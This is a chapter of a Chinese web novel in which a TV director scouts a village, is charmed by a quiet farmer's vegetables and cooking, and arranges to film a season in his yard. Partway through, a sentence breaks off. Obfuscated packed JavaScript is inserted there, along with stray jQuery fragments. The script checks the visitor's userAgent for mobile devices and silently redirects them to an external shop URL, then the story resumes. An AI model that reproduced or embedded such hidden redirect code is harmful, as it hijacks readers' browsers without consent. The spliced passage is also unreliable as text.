苏晚是个雷厉风行的人。
陆清槐还没走到隔壁，她已经跟上来了，步子不快不慢，正好跟他并肩。摄像师跟在后面，镜头开着，也不说话，就是拍。
跟了十几步，摄像师小陈在取景器里皱了皱眉。
他拍过不少人，明星也拍过。但镜头里这个人——侧脸的轮廓利落得像刀削出来的，鼻梁很直，皮肤白得不太像常年在地里干活的人。最要命的是那双眼睛，深棕色的瞳孔很安静，看什么都不带攻击性，但就是让人没法把镜头移开。
他悄悄把光圈调大了半档。
陆清槐的目光在那台摄像机上停了一下。比林野那部手机大得多，镜头粗得像门小炮，顶上还支着个毛茸茸的灰色筒子，风一吹毛就抖。他看了两眼，没问，继续走。
"陆老师是本村人？"
"不是。"
"那是——"
"住这儿。"
苏晚等了两秒，发现他没下文了。
她做了十年导演，采访过的人从一线明星到乡村大爷不下几百号，话多的话少的都见过，但像这位这样——回答等于没回答，脸上还一点不觉得尴尬的——头一个。
她不恼，反而笑了。
"住多久了？"
"大半年。"
"习惯吗？"
"习惯。"
"平时都做什么？"
"种菜。"
"……除了种菜呢？"
陆清槐认真想了想："浇菜。"
苏晚没忍住，笑出了声。
身后的摄像师差点把摄像机抖了。他跟了苏晚三年，从没见她第一次见采访对象笑成这样——关键对方完全没在讲笑话，那张脸上真诚得很，好像"种菜、浇菜"真的就是他人生的全部内容。
林野是被丫丫喊来的。
"林野哥！来车了！有个漂亮姐姐找你！"
林野从屋里冲出来的时候头发还翘着，手里攥着手机，一看村口那辆白色面包车和车身上的logo，脚步顿了半拍，然后以更快的速度冲过去。
"苏、苏导？"
"林野老师。"苏晚伸出手，笑容专业，"叫我苏晚就行。"
"哎哎，苏导好苏导好——"林野跟她握了一下，"您怎么真来了，也不提前说一声，我好去村口接您——"
"说了就不叫踩点了。"苏晚收回手，目光往他身后扫了一圈，"我们随便看看，不打扰你吧？"
"不打扰不打扰！"林野头摇得像拨浪鼓，然后猛地想起什么，扭头冲陆清槐使眼色——眼神里写满了"我说的吧人家真来了你看你看"。
陆清槐没看他。
他正蹲在自留地边上，把一片被风吹翻的白菜叶翻回来。
林野趁机凑到苏晚旁边，压低声音："苏导，跟您说个事——老陆他以前一个人住在深山里，去年才下山的，好多现代的东西没见过。您要是看他问什么奇怪的问题，别惊讶。"
苏晚看了一眼蹲在地里的陆清槐。
"深山里？"
"嗯，"林野挠了挠头，"身份证都是陈伯帮忙补办的。人是好人，就是……跟咱们不太一样。"
苏晚没说话，若有所思地又看了一眼。
苏晚在村里转了两个小时。
她话不多，但眼睛毒。经过老槐树的时候她停了一下，伸手摸了摸树皮，抬头看了看树冠的形状，又低头看了看树根周围的泥土——黑得发亮，松软得像刚翻过。镜头给了个特写。
她在平板上调出日历，翻了翻。这个季节早上五点半天光开始泛蓝，六点十分左右阳光从东山头斜过来，穿过这棵槐树的枝叶会在地上投一片碎影——拍晨景正好。她在心里记了一笔：明早让摄影组提前到位，拍一组空镜。
经过菜地的时候她又停了。
"这菜种得不错。"她蹲下来，捏了一片白菜叶，厚实，颜色深绿，叶脉清晰。她做过美食节目，知道这种叶片意味着什么——光照足、水肥合理、没有催熟。
"您种的？"她抬头看陆清槐。
"嗯。"
"用的什么肥？"
"羊粪。草木灰。"
"农药呢？"
"没用。"
苏晚挑了挑眉。不打农药的白菜能长这么精神，她不是没见过，但那都是大棚里精细伺候出来的。这露天地里，叶片上连个虫眼都找不到——
"有虫。"陆清槐像是看出了她在想什么，"早上捉了。"
"每天早上？"
"嗯。"
苏晚看了他两秒，站起来，没再问。
但她在平板上记了一笔。
"这个，"陆清槐忽然开口，目光落在那块亮着光的板子上，"也是手机？"
苏晚愣了一下，把平板转过来给他看："平板。比手机大，能写字能画画，还能看片子。"
他凑近了点，屏幕上是她刚敲的一行字： "菜地·晨雾·捉虫" 。他看了两秒，伸手在屏幕上点了一下——字没动，倒把旁边一个图标点开了，画面跳成一张地图。
"哎。"苏晚笑着把平板拿回去，"这个不是触屏点的，是笔。"
她从平板边上抽出那根触控笔，在他面前晃了晃。
陆清槐盯着那根笔，眼神像在研究一棵从没见过的植物。
"……哦。"他说。
苏晚注意到他退开之后，又往平板那边看了一眼。
转到后山的时候，出了点小状况。
大黄不知道从哪儿叼了只野鸡回来，摇着尾巴往陆清槐面前一放，一脸"快夸我"的表情。
陆清槐看着那只羽毛凌乱但还活着的野鸡，沉默了。
"大黄。"
大黄尾巴摇得更欢了。
"放了。"
大黄歪头。
"它家里也有小孩。"陆清槐蹲下来，伸手揉了揉大黄的脑袋，语气平得像在说今天天气不错，"去，放了。"
大黄看了看他，又看了看嘴里的野鸡，喉咙里发出一声委屈的"呜"，然后松了口。
野鸡扑棱棱地跑了。
大黄蹲在地上，耳朵耷拉着，一副被全世界辜负的样子。
陆清槐从口袋里摸了摸，掏出半块早上剩的红薯干，递过去。大黄一口叼住，耳朵瞬间支棱起来了，尾巴又开始摇。
整个过程不到一分钟。
苏晚站在五步开外，一动不动。
摄像师镜头都忘了移。
"……苏导？"
"拍下来了？"苏晚声音压得很低。
"拍、拍下来了。"
"一个字别剪。"
往回走的路上，摄像师小陈扛着机器跟在后面，陆清槐忽然放慢脚步，落到他旁边。
"沉吗？"
"啊？"小陈愣了一下，"沉……挺沉的，加上镜头十几斤吧。"
陆清槐看了看他扛机器的姿势，又看了看机器底下那个弯弯扭扭、像八爪鱼骨架一样的金属支架。
"那个架子，是干什么的？"
"稳定器。"小陈拍拍那东西，"扛着跑画面也不抖。"
"哦。"他点了点头，又问，"它怎么知道要稳？"
小陈卡了一下。这问题他从没认真想过。
"……电机？里面有电机，感知歪了就自动转回来。"
陆清槐"嗯"了一声，没再说话，但眼神在那个金属架子上又停了两秒。
苏晚走在前面，假装没听见，嘴角却翘了一下。
中午，林野非要留他们吃饭。
苏晚没推辞。她想看看这人做饭是什么样。
厨房是陈伯那间老灶屋，柴火土灶，墙上挂着干辣椒和玉米。陆清槐系上围裙的时候苏晚又挑了挑眉——那围裙是粉色的，上面印着一只卡通兔子，跟他那张脸形成了一种荒谬的反差。
"林野网购凑单买的。"他注意到她的目光，解释了一句，"颜色随机发的。"
"你不介意？"
"能系就行。"
"我没问。"
"哦。"
他做饭很快。白菜是地里现拔的，萝卜也是，韭菜是王婶昨天刚教他栽下去的那茬——还没长起来，但割了两棵长老的韭菜。三个菜：醋溜白菜、清炒萝卜丝、韭菜炒鸡蛋。全素。
苏晚尝了一口白菜。
然后她放下筷子，又尝了一口。
"这醋——"
"陈伯自己酿的。"
"不是醋的事。"苏晚盯着那盘白菜，表情有点复杂，"这白菜……甜的。"
"品种就这样。"
"我做过三季美食节目。"苏晚放下筷子，看着他，"我没吃过这个味道的白菜。"
陆清槐想了想："那您多吃点。"
摄像师在旁边一边拍一边咽口水。苏晚瞪了他一眼，他立马把镜头移开，但喉咙滚动的声音被收音麦录得清清楚楚。
林野在旁边乐得不行："苏导，我没骗你吧？我第一次吃他做的饭也这反应。"
苏晚没接话。她又夹了一筷子白菜，慢慢嚼着，眼睛却一直看着灶台前那个正在盛饭的背影。
粉色围裙。卡通兔子。
她在平板上又记了一笔。
吃完饭，苏晚没急着走。
她搬了个小板凳坐在院子里，看着三个小孩在自留地里忙活。丫丫在浇水，王小军在拔草——他现在拔草的动作已经很麻利了，一眼就能分清菜和草。小满蹲在旁边，手里举着一根小树枝，在地上画画。
橘座卧在墙头上晒太阳。大黄趴在陆清槐脚边打盹。
风从山那边吹过来，老槐树的叶子沙沙响。
苏晚深吸了一口气。她在脑子里过了一遍素材量——晨雾里的菜地、槐树下的碎光、猫墙头的橘猫、追野鸡的狗、蹲在地头教小孩拔草的人——这些画面串起来，不用剧本，片头就有了。
"陆老师。"
"嗯。"
"我直说了。"她转过头，目光很认真，"我在找一档节目的拍摄地。找了半年，看了二十七个村子，都不对。"
陆清槐看着她，没说话。
"今天到这儿，车刚停下，我就知道——找对了。"
她顿了一下。
"我想把整组人搬过来。在你这儿，拍一整季。"
院子里安静了一秒。
林野手里的水杯"咣"地磕在石桌上。
"苏、苏导，您是说——"
"租你的院子。"苏晚没看林野，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916287|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼睛一直看着陆清槐，"租金好谈。摄制组大概二十来个人，设备三车，拍摄周期三到四个月。我们会搭临时帐篷，不占用你的屋子，生活上的事我们自己解决。你该种菜种菜，该干嘛干嘛，就当我们不存在。"
她说得很快，很利落，显然不是临时起意。
陆清槐听完，想了想。
"二十个人。"
"对。"
"三车设备。"
"对。"
"三到四个月。"
"对。"
他又想了想。
"菜够吃吗。"
苏晚愣了一下。
她准备了一肚子说辞——关于节目曝光度、关于给村里带来的收入、关于拍摄合同和补偿条款——万万没想到他问的是这个。
"……我们自己带食材。"
"那行。"
苏晚怀疑自己听错了："您同意了？"
"嗯。"
"您不再想想？"
"想什么？"
苏晚张了张嘴，又闭上了。她做了十年导演，谈判桌上从来没这么顺过。对方连价都没还，连"我跟家里人商量商量"都没说，就问了一句菜够不够吃。
她忽然有点不确定——这人到底是真淡定，还是没搞明白状况。
"合同的事——"
"你找林野。"陆清槐站起来，拍了拍裤子上的灰，"这些我不懂。"
他往自留地走了两步，又停下来，回头看了苏晚一眼。
"那个，拍的时候，别踩菜。"
苏晚看着他的背影，慢慢笑了。
"好。"
林野整个人是飘的。
他把苏晚和摄像师送到村口，看着面包车开远，然后转身——以百米冲刺的速度冲回院子。
"你知道这意味着什么吗？！"
陆清槐正在给韭菜浇水。
"意味着什么？"
"意味着——"林野深吸一口气，"一档上星综艺！在你院子里拍！四个月！你知道这曝光量吗？你知道——"
"不知道。"
"……"林野被噎了一下，但兴奋劲压不住，"反正！你等着！你就要火了！"
陆清槐浇完水，把水瓢放下。
"火不火的。"他蹲下来，看着自留地边角那几棵樱桃萝卜——叶子下面，红色的小圆球已经把土顶出了裂缝，"萝卜能吃了。"
"什么萝卜？"
"樱桃萝卜。"他伸手，捏住一棵萝卜的叶子根部，轻轻一提——
一颗圆润鲜红、只有拇指大小的樱桃萝卜从土里拔了出来，带着泥土和细根，在午后的阳光下红得像颗小玛瑙。
他拎着萝卜叶，在旁边水桶里涮了涮，泥顺着水流淌干净，红皮上还挂着水珠，递给林野。
"尝尝。"
林野接过来，将信将疑地咬了一口。
脆。
甜。
一丝微辣从舌尖窜上来，但马上就被那股清甜压了回去。汁水在口腔里爆开，带着泥土和阳光的味道。
"……卧槽。"
"好吃吧。"
"这是你种的？"
"嗯。"
"你这萝卜怎么种的？"林野压低声音，"比菜市场买的甜好多。"
陆清槐看了他一眼，把第二颗萝卜也涮干净了，自己咬了一口。想了想，又弯腰拔了第三颗，涮干净，走到院门口，递给正准备上车的苏晚。
"尝尝。"
苏晚低头看了看那颗挂着水珠、红得发亮的小萝卜，又抬头看了看他，接过来，咬了一口。
脆响。
她没说话，但站在原地把整颗萝卜吃完了，才上的车。
远处，丫丫和王小军小满也发现了萝卜熟了，三个脑袋凑在一起，发出一阵压抑的欢呼。
橘座从墙头上跳下来，踱到陆清槐脚边，仰头叫了一声。
大黄也醒了，摇着尾巴凑过来。
陆清槐看着院子里的这一切——小孩、猫、狗、菜地、老槐树、远处的青山——咬了一口萝卜。
甜的。
他不知道什么"上星综艺"，也不知道二十个人三车设备会把他的日子搅成什么样。
但萝卜是甜的。
这就够了。
村口土路的尽头，白色面包车刚拐过弯。
苏晚坐在副驾上，翻着今天拍的素材。镜头停在一帧画面上——灶台前，粉色围裙的背影，正在颠勺。火光照在他侧脸上，轮廓清晰得像画出来的。
她截了图，发给一个备注为"老周"的人。
"踩点完了，村子定了。房东是素人，上镜，会种地，饭做得好。我把素材发你，你看看。"
她把今天拍的几段素材挑了三条发过去——灶台上颠勺的背影、蹲在菜地递萝卜的侧脸、还有大黄叼野鸡被他一句话放生的那段。
对方正在输入……
一分钟后，回复弹了出来：
"真帅啊！会做饭？会种地？"
苏晚看着屏幕，嘴角微微上扬。
"你自己看。"
……
她锁了屏，靠在座椅上，闭上眼睛。
车窗外，青山缓缓后退。